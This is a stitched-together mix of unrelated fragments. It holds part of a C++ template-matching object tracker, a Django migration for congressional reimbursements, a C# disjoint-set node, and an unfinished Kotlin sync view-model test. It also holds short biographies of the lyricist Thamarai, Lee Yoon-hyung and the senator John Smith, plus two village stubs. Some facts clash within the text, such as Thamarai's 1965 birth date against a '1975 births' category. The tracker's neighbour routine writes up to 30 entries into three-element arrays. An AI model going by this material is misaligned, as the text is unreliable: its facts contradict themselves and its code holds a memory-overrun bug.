if (i % dimy_int == dimy_int - 2) i += dimy_int + 1;
}
//--------------------------------------------------------
short dimx_int_ric, dimy_int_ric;
short x_min_ric, y_min_ric;
short u_min = -m_sTrackingObject.dim_temp;
short v_min = -m_sTrackingObject.dim_temp;
for (int i = 0; i <= 2 * m_sTrackingObject.dim_temp; i++)
if (u_att[i] == 1)
break;
else
u_min++;
x_min_ric = m_sTrackingObject.X + u_min - dimx / 2;
for (int i = 0; i <= 2 * m_sTrackingObject.dim_temp; i++)
if (v_att[i] == 1)
break;
else
v_min++;
y_min_ric = m_sTrackingObject.Y + v_min - dimy / 2;
// Effective Dimension searce interpolate area
dimx_int_ric = ((dimx + ok_u - 1) * 2 - 1);
dimy_int_ric = ((dimy + ok_v - 1) * 2 - 1);
std::unique_ptr<ValuePixel[]> area_ricerca(
new ValuePixel[dimx_int_ric * dimy_int_ric]);
// Original value
for (int i = 0; i <= ((dimx + ok_u - 1) - 1); i++)
for (int j = 0; j <= ((dimy + ok_v - 1) - 1); j++) {
area_ricerca[i * dimy_int_ric * 2 + j * 2] =
GetPixelValues(frame, x_min_ric + i, y_min_ric + j);
}
// interpolate value row
for (int i = 1; i < (dimx_int_ric * dimy_int_ric); i += 2) {
area_ricerca[i].r = (area_ricerca[i - 1].r + area_ricerca[i + 1].r) / 2;
area_ricerca[i].g = (area_ricerca[i - 1].g + area_ricerca[i + 1].g) / 2;
area_ricerca[i].b = (area_ricerca[i - 1].b + area_ricerca[i + 1].b) / 2;
if (i % dimy_int_ric == dimy_int_ric - 2) i += dimy_int_ric + 1;
}
// Interpolate value column
for (int i = dimy_int_ric; i <= ((dimx_int_ric - 1) * dimy_int_ric - 1);
i += 2) {
area_ricerca[i].r = (area_ricerca[i - dimy_int_ric].r +
area_ricerca[i + dimy_int_ric].r) /
2;
area_ricerca[i].g = (area_ricerca[i - dimy_int_ric].g +
area_ricerca[i + dimy_int_ric].g) /
2;
area_ricerca[i].b = (area_ricerca[i - dimy_int_ric].b +
area_ricerca[i + dimy_int_ric].b) /
2;
if (i % dimy_int_ric == dimy_int_ric - 1) i += dimy_int_ric - 1;
}
// Interpolate value central
for (int i = dimy_int_ric + 1; i <= ((dimx_int_ric - 1) * dimy_int_ric - 2);
i += 2) {
area_ricerca[i].r = UBYTE8(float((area_ricerca[i - dimy_int_ric - 1].r +
area_ricerca[i - dimy_int_ric + 1].r +
area_ricerca[i + dimy_int_ric - 1].r +
area_ricerca[i + dimy_int_ric + 1].r) /
4) +
0.4);
area_ricerca[i].g = UBYTE8(float((area_ricerca[i - dimy_int_ric - 1].g +
area_ricerca[i - dimy_int_ric + 1].g +
area_ricerca[i + dimy_int_ric - 1].g +
area_ricerca[i + dimy_int_ric + 1].g) /
4) +
0.4);
area_ricerca[i].b = UBYTE8(float((area_ricerca[i - dimy_int_ric - 1].b +
area_ricerca[i - dimy_int_ric + 1].b +
area_ricerca[i + dimy_int_ric - 1].b +
area_ricerca[i + dimy_int_ric + 1].b) /
4) +
0.4);
if (i % dimy_int_ric == dimy_int_ric - 2) i += dimy_int_ric + 1;
}
short u_max = m_sTrackingObject.dim_temp;
short v_max = m_sTrackingObject.dim_temp;
for (int i = 2 * m_sTrackingObject.dim_temp; i >= 0; i--)
if (u_att[i] == 1)
break;
else
u_max--;
for (int i = 2 * m_sTrackingObject.dim_temp; i >= 0; i--)
if (v_att[i] == 1)
break;
else
v_max--;
unsigned long indt, indc;
std::unique_ptr<float[]> mat_dist(
new float[(2 * ok_u - 1) * (2 * ok_v - 1)]);
float att_dist_cent = MAX_FLOAT;
float dist_cent;
// Distance
for (u = 2 * u_min; u <= 2 * u_max; u++) {
for (v = 2 * v_min; v <= 2 * v_max; v++) {
dist = 0.0;
//
for (x = 0; x < dimx_int; x++)
for (y = 0; y < dimy_int; y++) {
// T(x,y)
indt = x * dimy_int + y;
// L(x+u,y+v)
indc =
((x + (u - 2 * u_min))) * dimy_int_ric + (y + (v - 2 * v_min));
dist += (pixel_temp[indt].r - area_ricerca[indc].r) *
(pixel_temp[indt].r - area_ricerca[indc].r) +
(pixel_temp[indt].g - area_ricerca[indc].g) *
(pixel_temp[indt].g - area_ricerca[indc].g) +
(pixel_temp[indt].b - area_ricerca[indc].b) *
(pixel_temp[indt].b - area_ricerca[indc].b);
}
dist = sqrt(dist) / (sqrt(float(dimx_int * dimy_int * 3 * 255 * 255)));
mat_dist[(u - 2 * u_min) * (2 * ok_v - 1) + (v - 2 * v_min)] = dist;
if (dist < min_dist) {
min_dist = dist;
u_sup = u;
v_sup = v;
att_dist_cent = sqrt(float(u * u + v * v));
}
else if (dist == min_dist) {
dist_cent = sqrt(float(u * u + v * v));
if (dist_cent < att_dist_cent) {
min_dist = dist;
u_sup = u;
v_sup = v;
att_dist_cent = dist_cent;
}
}
}
}
if (!man_occlusion) {
if (min_dist > m_sTrackingObject.threshold_distance) {
track = false;
m_sTrackingObject.X = m_sTrackingObject.X_old;
m_sTrackingObject.Y = m_sTrackingObject.Y_old;
m_visible = "INVISIBLE";
} else {
track = true;
if (min_dist > m_sTrackingObject.threshold_distance_B) {
m_visible = "WARNING";
m_K_dist = floor(
(double)(min_dist - m_sTrackingObject.threshold_distance_B) /
(m_sTrackingObject.threshold_distance -
m_sTrackingObject.threshold_distance_B));
} else {
m_visible = "VISIBLE";
}
}
}
if (track) {
// half pixel
m_sTrackingObject.half_pixelx = 0;
m_sTrackingObject.half_pixely = 0;
if (u_sup % 2 != 0)
if (v_sup % 2 != 0) {
if (mat_dist[(u_sup - 2 * u_min - 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min - 1)] <
mat_dist[(u_sup - 2 * u_min - 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min + 1)])
if (mat_dist[(u_sup - 2 * u_min - 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min - 1)] <
mat_dist[(u_sup - 2 * u_min + 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min - 1)])
if (mat_dist[(u_sup - 2 * u_min - 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min - 1)] <
mat_dist[(u_sup - 2 * u_min + 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min + 1)]) {
m_sTrackingObject.half_pixelx = -1;
m_sTrackingObject.half_pixely = -1;
u_sup -= 1;
v_sup -= 1;
} else {
m_sTrackingObject.half_pixelx = 1;
m_sTrackingObject.half_pixely = 1;
u_sup += 1;
v_sup += 1;
}
else if (mat_dist[(u_sup - 2 * u_min + 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min - 1)] <
mat_dist[(u_sup - 2 * u_min + 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min + 1)]) {
m_sTrackingObject.half_pixelx = 1;
m_sTrackingObject.half_pixely = -1;
u_sup += 1;
v_sup -= 1;
} else {
m_sTrackingObject.half_pixelx = 1;
m_sTrackingObject.half_pixely = 1;
u_sup += 1;
v_sup += 1;
}
else if (mat_dist[(u_sup - 2 * u_min - 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min + 1)] <
mat_dist[(u_sup - 2 * u_min + 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min - 1)])
if (mat_dist[(u_sup - 2 * u_min - 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min + 1)] <
mat_dist[(u_sup - 2 * u_min + 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min + 1)]) {
m_sTrackingObject.half_pixelx = -1;
m_sTrackingObject.half_pixely = 1;
u_sup -= 1;
v_sup += 1;
} else {
m_sTrackingObject.half_pixelx = 1;
m_sTrackingObject.half_pixely = 1;
u_sup += 1;
v_sup += 1;
}
else if (mat_dist[(u_sup - 2 * u_min + 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min - 1)] <
mat_dist[(u_sup - 2 * u_min + 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min + 1)]) {
m_sTrackingObject.half_pixelx = 1;
m_sTrackingObject.half_pixely = -1;
u_sup += 1;
v_sup -= 1;
} else {
m_sTrackingObject.half_pixelx = 1;
m_sTrackingObject.half_pixely = 1;
u_sup += 1;
v_sup += 1;
}
} else {
if (mat_dist[(u_sup - 2 * u_min - 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min)] <
mat_dist[(u_sup - 2 * u_min + 1) * (2 * ok_v - 1) +
(v_sup - 2 * v_min)]) {
m_sTrackingObject.half_pixelx = -1;
m_sTrackingObject.half_pixely = 0;
u_sup -= 1;
} else {
m_sTrackingObject.half_pixelx = 1;
m_sTrackingObject.half_pixely = 0;
u_sup += 1;
}
}
else if (v_sup % 2 != 0) {
if (mat_dist[(u_sup - 2 * u_min) * (2 * ok_v - 1) +
(v_sup - 2 * v_min - 1)] <
mat_dist[(u_sup - 2 * u_min) * (2 * ok_v - 1) +
(v_sup - 2 * v_min + 1)]) {
m_sTrackingObject.half_pixelx = 0;
m_sTrackingObject.half_pixely = -1;
v_sup -= 1;
} else {
m_sTrackingObject.half_pixelx = 0;
m_sTrackingObject.half_pixely = 1;
v_sup += 1;
}
}
m_sTrackingObject.X += u_sup / 2;
m_sTrackingObject.Y += v_sup / 2;
}
}
return min_dist;
}
//your_sha256_hash---------------------------------------
// Update characteristic neighbours
void CObjectTracker::DistanceAndUpdate(NEIGHBOUR position) {
float x0 = m_sTrackingObject.X;
float y0 = m_sTrackingObject.Y;
float x1 = position.X_old, y1 = position.Y_old;
float dist2;
dist2 = (x0 - x1) * (x0 - x1) + (y0 - y1) * (y0 - y1);
// searce free position
for (int i = 0; i < 30; i++) {
if ((neighbours[i].X == -1) && (neighbours[i].Y == -1)) {
neighbours[i].X = position.X;
neighbours[i].Y = position.Y;
neighbours[i].dist2 = dist2;
neighbours[i].X_old = position.X_old;
neighbours[i].Y_old = position.Y_old;
return;
}
}
// sostitution based on distance
int i = 0;
for (i = 0; i < 30; i++) {
if (dist2 < neighbours[i].dist2) {
neighbours[i].X = position.X;
neighbours[i].Y = position.Y;
neighbours[i].dist2 = dist2;
neighbours[i].X_old = position.X_old;
neighbours[i].Y_old = position.Y_old;
return;
}
}
}
//your_sha256_hash----------------------------------------
// Set position by neighbours
void CObjectTracker::SetPositionByNeighbours(void) {
if (!track) {
float x[3], y[3], d2[3];
for (int i = 0; i < 30; i++) {
//((X,Y)=(-1,-1) => neighbours not valid)
if ((neighbours[i].X == -1) && (neighbours[i].Y == -1)) {
m_sTrackingObject.X = -1;
m_sTrackingObject.Y = -1;
return;
} else {
x[i] = neighbours[i].X;
y[i] = neighbours[i].Y;
d2[i] = neighbours[i].dist2;
}
}
// error: neighbours aligns
if ((y[1] - y[0]) * (x[2] - x[0]) == (y[2] - y[0]) * (x[1] - x[0])) {
m_sTrackingObject.X = -1;
m_sTrackingObject.Y = -1;
return;
}
// old neighbours coordinate
float x_old[3], y_old[3];
int i = 0;
for (i = 0; i < 3; i++) {
x_old[i] = neighbours[i].X_old;
y_old[i] = neighbours[i].Y_old;
}
//
float dn2[3], dn_old2[3];
// distance
for (i = 0; i < 2; i++)
for (int j = i + 1; j < 3; j++) {
dn_old2[i + j - 1] = (x_old[i] - x_old[j]) * (x_old[i] - x_old[j]) +
(y_old[i] - y_old[j]) * (y_old[i] - y_old[j]);
dn2[i + j - 1] =
(x[i] - x[j]) * (x[i] - x[j]) + (y[i] - y[j]) * (y[i] - y[j]);
}
// scale factor (^2)
float scale = ((dn2[0] / dn_old2[0]) + (dn2[1] / dn_old2[1]) +
(dn2[2] / dn_old2[2])) /
3.0;
// update distance
for (i = 0; i < 3; i++) d2[i] *= scale;
// new location
float A[2][2], b[2];
A[0][0] = 2 * (x[1] - x[0]);
A[0][1] = 2 * (y[1] - y[0]);
A[1][0] = 2 * (x[2] - x[0]);
A[1][1] = 2 * (y[2] - y[0]);
b[0] =
d2[0] - d2[1] + x[1] * x[1] - x[0] * x[0] + y[1] * y[1] - y[0] * y[0];
b[1] =
d2[0] - d2[2] + x[2] * x[2] - x[0] * x[0] + y[2] * y[2] - y[0] * y[0];
float detA, invA[2][2];
detA = A[0][0] * A[1][1] - A[0][1] * A[1][0];
invA[0][0] = A[1][1] / detA;
invA[0][1] = -A[0][1] / detA;
invA[1][0] = -A[1][0] / detA;
invA[1][1] = A[0][0] / detA;
float X, Y;
X = invA[0][0] * b[0] + invA[0][1] * b[1];
Y = invA[1][0] * b[0] + invA[1][1] * b[1];
m_sTrackingObject.X = short(X + 0.49999);
m_sTrackingObject.Y = short(Y + 0.49999);
m_sTrackingObject.half_pixelx = 0;
m_sTrackingObject.half_pixely = 0;
// error
if (m_sTrackingObject.X < 0) {
// m_sTrackingObject.X = 0;
m_visible = "INVISIBLE";
}
if (m_sTrackingObject.X > (m_nImageWidth - 1)) {
// m_sTrackingObject.X = m_nImageWidth - 1;
m_visible = "INVISIBLE";
}
if (m_sTrackingObject.Y < 0) {
// m_sTrackingObject.Y = 0;
m_visible = "INVISIBLE";
}
if (m_sTrackingObject.Y > (m_nImageHeight - 1)) {
// m_sTrackingObject.Y = m_nImageHeight - 1;
m_visible = "INVISIBLE";
}
}
}
//your_sha256_hash----------------------------------------
// Write on output file
void CObjectTracker::WriteOnOutputFile(char *filename) {
ofstream output;
output.open(filename, ios_base::app);
output << m_sTrackingObject.X << " " << m_sTrackingObject.Y << endl;
output << m_sTrackingObject.W << " " << m_sTrackingObject.H << endl;
output << m_sTrackingObject.half_pixelx << " "
<< m_sTrackingObject.half_pixely << endl;
output << m_visible << endl;
output.close();
output.open("output_center.txt", ios_base::app);
output << "Coordinate del punto - X : "
<< m_sTrackingObject.X - ((m_nImageWidth - 1) / 2)
<< " - Y : " << m_sTrackingObject.Y - ((m_nImageHeight - 1) / 2)
<< endl;
output << "Larghezza dell'area : " << m_sTrackingObject.W
<< " - Altezza dell'aera : " << m_sTrackingObject.H << endl;
output << "Mezzo pixel : " << m_sTrackingObject.half_pixelx << " "
<< m_sTrackingObject.half_pixely << endl;
output << "Visibilit : " << m_visible << endl;
output.close();
}
//your_sha256_hash----------------------------------------
// Reset distance
void CObjectTracker::DistanceReset(void) {
for (int i = 0; i < 30; i++) {
neighbours[i].X = -1;
neighbours[i].Y = -1;
neighbours[i].dist2 = MAX_FLOAT;
}
}
//your_sha256_hash----------------------------------------
// Get position neighbours
NEIGHBOUR CObjectTracker::GetPosition(void) {
NEIGHBOUR _neighbour;
_neighbour.X = m_sTrackingObject.X;
_neighbour.Y = m_sTrackingObject.Y;
_neighbour.dist2 = MAX_FLOAT;
_neighbour.X_old = m_sTrackingObject.X_old;
_neighbour.Y_old = m_sTrackingObject.Y_old;
return _neighbour;
}
// Set position of the object
void CObjectTracker::SetPosition(short x, short y) {
if (x < 0) {
// x = 0;
m_visible = "INVISIBLE";
} else if (x > (m_nImageWidth - 1)) {
// x = m_nImageWidth - 1;
m_visible = "INVISIBLE";
}
if (y < 0) {
// y = 0;
m_visible = "INVISIBLE";
} else if (y > (m_nImageHeight - 1)) {
// y = m_nImageHeight - 1;
m_visible = "INVISIBLE";
}
m_sTrackingObject.X = x;
m_sTrackingObject.Y = y;
m_sTrackingObject.half_pixelx = 0;
m_sTrackingObject.half_pixely = 0;
}
// Set the object as initialized
void CObjectTracker::SetInit(bool status) { m_initialized = status; }
// Get if the object is initialized
bool CObjectTracker::GetInit() { return m_initialized; }
std::string CObjectTracker::GetVisibility() { return m_visible; }
void CObjectTracker::SetVisibility(string visibility) {
m_visible = visibility;
}
// Set initials position of neighbours
void CObjectTracker::SetInitials(NEIGHBOUR position) {
initial.x = position.X;
initial.y = position.Y;
}
// Get initials position of neighbours
Predict3D::Point CObjectTracker::GetInitials() { return initial; }
// Get the K_Dist
int CObjectTracker::GetKDist() { return m_K_dist; }
// End
``` |
```python
# -*- coding: utf-8 -*-
# Generated by Django 1.11.1 on 2017-06-02 18:08
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0029_make_issue_date_an_index'),
]
operations = [
migrations.AlterField(
model_name='historicalreimbursement',
name='congressperson_id',
field=models.IntegerField(blank=True, null=True, verbose_name='Identificador nico do Parlamentar'),
),
migrations.AlterField(
model_name='historicalreimbursement',
name='party',
field=models.CharField(blank=True, max_length=7, null=True, verbose_name='Partido'),
),
migrations.AlterField(
model_name='historicalreimbursement',
name='total_net_value',
field=models.DecimalField(decimal_places=3, max_digits=10, verbose_name='Valor Lquido'),
),
migrations.AlterField(
model_name='reimbursement',
name='congressperson_id',
field=models.IntegerField(blank=True, null=True, verbose_name='Identificador nico do Parlamentar'),
),
migrations.AlterField(
model_name='reimbursement',
name='party',
field=models.CharField(blank=True, max_length=7, null=True, verbose_name='Partido'),
),
migrations.AlterField(
model_name='reimbursement',
name='total_net_value',
field=models.DecimalField(decimal_places=3, max_digits=10, verbose_name='Valor Lquido'),
),
]
``` |
Thamarai (born 10 November 1965) is a Tamil poet and lyricist. She is a prominent figure in the Tamil literary world. She made her debut in the Tamil film industry through the 1998 film Iniyavale, which was directed by Seeman and music composed by Deva.
Life and career
Thamarai was born in Coimbatore, Tamil Nadu on 10 November 1965. She graduated from Government College of Technology, Coimbatore, in production engineering and worked for six years in Coimbatore. With her passion for poetry, she decided to move to Chennai, where she worked as a freelance journalist in an organization named Bhagya and wrote essays, stories and poems. Through her literary works, she became popular and got noticed. Director Seeman assigned her as lyricist for the song "Thendral Enthan" for his Tamil film Iniyavale. Subsequently, she wrote lyrics for films such as Unnidathil Ennai Koduthen ("Malligai Poove") and Thenali ("Injirango Injirango"). Her work together with music director Harris Jayaraj in Minnale marked the turning point in her film industry career, primarily noted for her song "Vaseegara" in the movie.
After Minnale, the trio, composed of director Gautham Vasudev Menon and music director Harris Jayaraj, teamed up several times again (Kaakha Kaakha, Vettaiyaadu Vilaiyaadu, Pachaikili Muthucharam and Vaaranam Aayiram) and were a very successful collaboration in the film field, until the break-up between Menon and Jayaraj happened. Since then, she is teaming up with A. R. Rahman, who replaced Jayaraj. Menon, Jayaraj and Thamarai teamed up again in July 2014 for the Ajith Kumar film Yennai Arindhaal. The film's album was released on 1 January 2015, and it was well-received by critics. She wrote" Neeraambal Poovae" from the movie Nannbenda, where she again worked for Harris Jayaraj. The song is sung by Arjun Menon.
Personal life
Thamarai is married to Thozhar Thiyagu. They have a son. Thamarai is a vegan and an advocate of animal rights.
Filmography
Awards
Filmfare Awards South
Filmfare Award for Best Lyricist – Vaaranam Aayiram (2008)
Filmfare Award for Best Lyricist – Vinnaithaandi Varuvaayaa (2010)
Filmfare Award for Best Lyricist – Achcham Yenbadhu Madamaiyada (2016)
Tamil Nadu State Film Awards
Tamil Nadu State Film Award for Best Lyricist- Thenali (2000)
Tamil Nadu State Film Honorary Award - Paavender Bharathidasan Award in 2006
Ananda Vikatan Cinema Awards
Ananda Vikatan Award for Best Lyricist – Vaaranam Aayiram (2008)
Ananda Vikatan Award for Best Lyricist – Vinnaithaandi Varuvaayaa (2010)
Ananda Vikatan Award for Best Lyricist – Achcham Yenbadhu Madamaiyada (2016)
Ananda Vikatan Award for Best Lyricist – for the song ''Yaar Azhaithathu '' from Maara (2021)
Vijay Awards
Vijay Award for Best Lyricist – Vaaranam Aayiram (2008)
Vijay Award for Best Lyricist – Muppozhudhum Un Karpanaigal (2012)
Other awards and recognition
ITFA Best Lyricist Award – Kaaka Kaaka (2003)
Meera Isaiaruvi Tamil Music Award for Best Lyricist – Vaaranam Aayiram (2008)
Anandha Vikatan awards - Best lyricist for Thalli pogathey
Zee Cine Awards - Best Lyricist for Kaanana Kanney - Viswasam (2020)
Nominations
Filmfare Award for Best Lyricist – Kaaka Kaaka (2003)
Filmfare Award for Best Lyricist – Ghajini (2005)
Filmfare Award for Best Lyricist – Subramaniapuram (2008)
Filmfare Award for Best Lyricist – Pasanga (2009)
Vijay Award for Best Lyricist – Pasanga (2009)
Vijay Award for Best Lyricist – Vinnaithaandi Varuvaayaa (2010)
Filmfare Award for Best Lyricist – 7aum Arivu (2011)
Filmfare Award for Best Lyricist – Yennai Arindhaal (2015)
SIIMA for Best Lyricist – Achcham Yenbadhu Madamaiyada (2017)
SIIMA for Best Lyricist – Viswasam
SIIMA for Best Lyricist – Maara
See also
List of vegans
References
External links
Kavignar Thamarai's short Tamil poems
Thamarai's songs at Hummaa.com
Thamarai – Kavi Samurai at PixMonk.com
Living people
1975 births
21st-century Indian poets
21st-century Indian women writers
21st-century Indian writers
Filmfare Awards South winners
People from Coimbatore
Poets from Tamil Nadu
Indian lyricists
Indian veganism activists
Indian women poets
Tamil film poets
Tamil-language lyricists |
Rootsivere is a village in Muhu Parish, Saare County in western Estonia.
References
Villages in Saare County |
```smalltalk
namespace DataStructures.DisjointSet;
/// <summary>
/// node class to be used by disjoint set to represent nodes in Disjoint Set forest.
/// </summary>
/// <typeparam name="T">generic type for data to be stored.</typeparam>
public class Node<T>
{
public int Rank { get; set; }
public Node<T> Parent { get; set; }
public T Data { get; set; }
public Node(T data)
{
Data = data;
Parent = this;
}
}
``` |
Lee Yoon-hyung (; ; April 26, 1979 – November 18, 2005) was a South Korean millionaire and daughter of Samsung Group chief Lee Kun-hee. She died by suicide by hanging herself in her New York City apartment on November 18, 2005 at the age of 26.
Personal life
Lee was born on April 26, 1979, in South Korea. Her father was Samsung chief Lee Kun-hee, and her mother was Hong Ra-hee. She was the youngest of the four children; she had an elder brother Lee Jae-yong and two elder sisters Lee Boo-jin and Lee Seo-hyun.
Lee graduated from Ewha Womans University in Seoul with a Bachelor of Arts degree in French language and French literature. She was a first year graduate student in arts management at New York University's Steinhardt School of Culture, Education, and Human Development.
In 2003, it was revealed that she owned $191 million of Samsung stock.
In her spare time, she was very keen on car racing and many extreme sports. She also launched a personal blog to show her daily life to the public and it became very popular in South Korea.
Death
Her cause of death was originally reported in both American and South Korean media as a car crash due to the social stigma against suicide, but the actual details were subsequently published after inquiries by reporters from The Korea Times.
At the time of her death, Lee was a graduate student at the New York University Steinhardt School of Culture, Education, and Human Development, and her father was in the United States undergoing treatment for lung cancer. A doorman at her building told reporters that she sometimes stayed in her apartment for a week at a time, and there were reports that her father had forbidden her to marry her middle-class Korean boyfriend.
At the time of her death, Lee had a personal fortune of more than £100 million (US$157 million).
References
1979 births
2005 suicides
Samsung people
Ewha Womans University alumni
Steinhardt School of Culture, Education, and Human Development alumni
Suicides in New York City
Suicides by hanging in New York City
People from the East Village, Manhattan
2005 deaths
Lee family (South Korea) |
Dobieszów is a village in the administrative district of Gmina Pawłowiczki, within Kędzierzyn-Koźle County, Opole Voivodeship, in south-western Poland. It lies approximately south-west of Pawłowiczki, south-west of Kędzierzyn-Koźle, and south of the regional capital Opole.
References
Villages in Kędzierzyn-Koźle County |
John Smith (July 30, 1824) was one of the first two U.S. senators from the state of Ohio. He reluctantly resigned from the Senate under charges of alleged complicity in the Burr conspiracy.
Little is known of his early life. There are conflicting reports on the location of his birth, with some sources saying he was born in the Province of Virginia, and others saying Hamilton County, Ohio (which did not exist until 1790); the identity of his parents are unknown. He prepared for the ministry, and was pastor of the Baptist Church at Columbia, Miami Purchase, Northwest Territory, during the 1790s which some sources credit as the first Baptist Church in modern Ohio. He then began a profitable business supplying military posts near Cincinnati, Ohio. He also ran multiple grain mills. In 1799 Smith along with his agent Reuben Kemper were the first US-based merchants to ship to Baton Rouge, taking nearly $10,000 worth of goods, primarily fine clothing and house furnishings.
He was a member of the Northwest Territorial legislature 1799–1803 and a delegate to the Ohio state constitutional convention in 1802. He was a leader of a group that supported statehood in opposition to the Territorial Governor Arthur St. Clair. Upon the admission of Ohio as a State into the Union, he was elected as a Democratic-Republican to the United States Senate and served in the 8th, 9th and 10th Congresses (1803–1808).
While in the Senate, Smith continued his profitable trading ventures in Louisiana and West Florida and pursued numerous land investment ventures. In 1805, former Vice President Aaron Burr sought his support in organizing a military expedition against Spanish Florida. Although Smith claimed he had no interest in Burr's plot to force secession of Spanish territories, he agreed to provide supplies for the proposed expedition. When President Thomas Jefferson later issued an alert, charging that Burr's actual purpose was an invasion of Mexico, Smith responded patriotically by financing weapons to defend against the Burr expedition and delivering those weapons to New Orleans. These travels caused him to miss weeks of Senate sessions and led the Ohio legislature to charge him with dereliction of duty and to demand his resignation.
Although Smith ignored that demand, he found his troubles increasing as a court in Richmond, Virginia, indicted him in mid-1807 for participating in Burr's conspiracy. As he traveled to Richmond, he learned that the charges against him were dropped after the court acquitted Burr on a technicality.
But on December 31, 1807, a Senate committee chaired by John Quincy Adams recommended that Smith be expelled from the Senate. A trial was held in 1808, with Adams leading the attack. Smith was defended by Francis Scott Key and Robert Goodloe Harper, who argued that Smith may have been naive, but was not a traitor. The expulsion resolution fell one vote short of the required two-thirds majority. Smith resigned on April 25, the last day that Congress was in session for the year.
Smith had enjoyed a close friendship with President Thomas Jefferson early in his Senate career, though that relationship was ruined, along with Smith's political career, by his implication in the Burr treason. Smith was forced into bankruptcy and later moved to St. Francisville, Louisiana, where he served as a Methodist preacher.
The History of Cincinnati and Hamilton County Ohio, published in 1894, indicates that Smith died in Hamilton County, Ohio on June 10, 1816, although this is apparently incorrect, since an obituary and later sources agree on his death in 1824 in St. Francisville, Louisiana.
See also
List of United States senators expelled or censured
References
External links and sources
Online Text of History of Cincinnati and Hamilton County Ohio published 1894
U.S. Senate web site
1735 births
1824 deaths
Democratic-Republican Party United States senators
History of Ohio
Northwest Territory House of Representatives
Northwest Territory officials
Ohio Constitutional Convention (1802)
Ohio Democratic-Republicans
People from St. Francisville, Louisiana
United States senators from Ohio
Year of birth uncertain |
```kotlin
package mega.privacy.android.feature.sync.presentation
import app.cash.turbine.test
import com.google.common.truth.Truth.assertThat
import kotlinx.coroutines.ExperimentalCoroutinesApi
import kotlinx.coroutines.awaitCancellation
import kotlinx.coroutines.flow.MutableStateFlow
import kotlinx.coroutines.flow.flow
import kotlinx.coroutines.flow.flowOf
import kotlinx.coroutines.runBlocking
import kotlinx.coroutines.test.runTest
import mega.privacy.android.core.test.extension.CoroutineMainDispatcherExtension
import mega.privacy.android.domain.entity.AccountType
import mega.privacy.android.domain.entity.account.AccountDetail
import mega.privacy.android.domain.entity.account.AccountLevelDetail
import mega.privacy.android.domain.entity.node.NodeId
import mega.privacy.android.domain.usecase.account.GetAccountTypeUseCase
import mega.privacy.android.domain.usecase.account.MonitorAccountDetailUseCase
import mega.privacy.android.feature.sync.R
import mega.privacy.android.feature.sync.domain.entity.SolvedIssue
import mega.privacy.android.feature.sync.domain.entity.StallIssueType
import mega.privacy.android.feature.sync.domain.entity.StalledIssue
import mega.privacy.android.feature.sync.domain.entity.StalledIssueResolutionAction
import mega.privacy.android.feature.sync.domain.entity.StalledIssueResolutionActionType
import mega.privacy.android.feature.sync.domain.usecase.SetOnboardingShownUseCase
import mega.privacy.android.feature.sync.domain.usecase.solvedissue.ClearSyncSolvedIssuesUseCase
import mega.privacy.android.feature.sync.domain.usecase.solvedissue.MonitorSyncSolvedIssuesUseCase
import mega.privacy.android.feature.sync.domain.usecase.stalledIssue.resolution.ResolveStalledIssueUseCase
import mega.privacy.android.feature.sync.domain.usecase.sync.MonitorSyncStalledIssuesUseCase
import mega.privacy.android.feature.sync.domain.usecase.sync.option.MonitorSyncByWiFiUseCase
import mega.privacy.android.feature.sync.domain.usecase.sync.option.SetSyncByWiFiUseCase
import mega.privacy.android.feature.sync.ui.mapper.stalledissue.StalledIssueItemMapper
import mega.privacy.android.feature.sync.ui.model.StalledIssueUiItem
import mega.privacy.android.feature.sync.ui.synclist.SyncListAction
import mega.privacy.android.feature.sync.ui.synclist.SyncListViewModel
import org.junit.jupiter.api.AfterEach
import org.junit.jupiter.api.BeforeEach
import org.junit.jupiter.api.Test
import org.junit.jupiter.api.TestInstance
import org.junit.jupiter.api.extension.ExtendWith
import org.mockito.kotlin.doReturn
import org.mockito.kotlin.mock
import org.mockito.kotlin.reset
import org.mockito.kotlin.verify
import org.mockito.kotlin.whenever
@ExtendWith(CoroutineMainDispatcherExtension::class)
@ExperimentalCoroutinesApi
@TestInstance(TestInstance.Lifecycle.PER_CLASS)
class SyncListViewModelTest {
private lateinit var underTest: SyncListViewModel
private val setOnboardingShownUseCase: SetOnboardingShownUseCase = mock()
private val monitorSyncStalledIssuesUseCase: MonitorSyncStalledIssuesUseCase = mock()
private val resolveStalledIssueUseCase: ResolveStalledIssueUseCase = mock()
private val stalledIssueItemMapper: StalledIssueItemMapper = mock()
private val monitorSyncSolvedIssuesUseCase: MonitorSyncSolvedIssuesUseCase = mock()
private val clearSyncSolvedIssuesUseCase: ClearSyncSolvedIssuesUseCase = mock()
private val monitorSyncByWiFiUseCase: MonitorSyncByWiFiUseCase = mock()
private val getAccountTypeUseCase: GetAccountTypeUseCase = mock()
private val monitorAccountDetailUseCase: MonitorAccountDetailUseCase = mock()
private val stalledIssues = listOf(
StalledIssue(
syncId = 3L,
nodeIds = listOf(NodeId(3L)),
localPaths = listOf("/storage/emulated/0/DCIM"),
issueType = StallIssueType.DownloadIssue,
conflictName = "conflicting folder",
nodeNames = listOf("Camera"),
)
)
private val solvedIssues = listOf(
SolvedIssue(
syncId = 1L, nodeIds = listOf(), localPaths = listOf(), resolutionExplanation = ""
)
)
@BeforeEach
fun setupMock(): Unit = runBlocking {
val accountLevelDetail = mock<AccountLevelDetail> {
on { accountType } doReturn AccountType.PRO_I
}
val accountDetail = mock<AccountDetail> {
on { levelDetail } doReturn accountLevelDetail
}
whenever(monitorAccountDetailUseCase()).thenReturn(
flowOf(accountDetail)
)
}
@AfterEach
fun resetAndTearDown() {
reset(
setOnboardingShownUseCase,
monitorSyncStalledIssuesUseCase,
resolveStalledIssueUseCase,
stalledIssueItemMapper,
monitorSyncSolvedIssuesUseCase,
getAccountTypeUseCase,
monitorAccountDetailUseCase
)
}
@Test
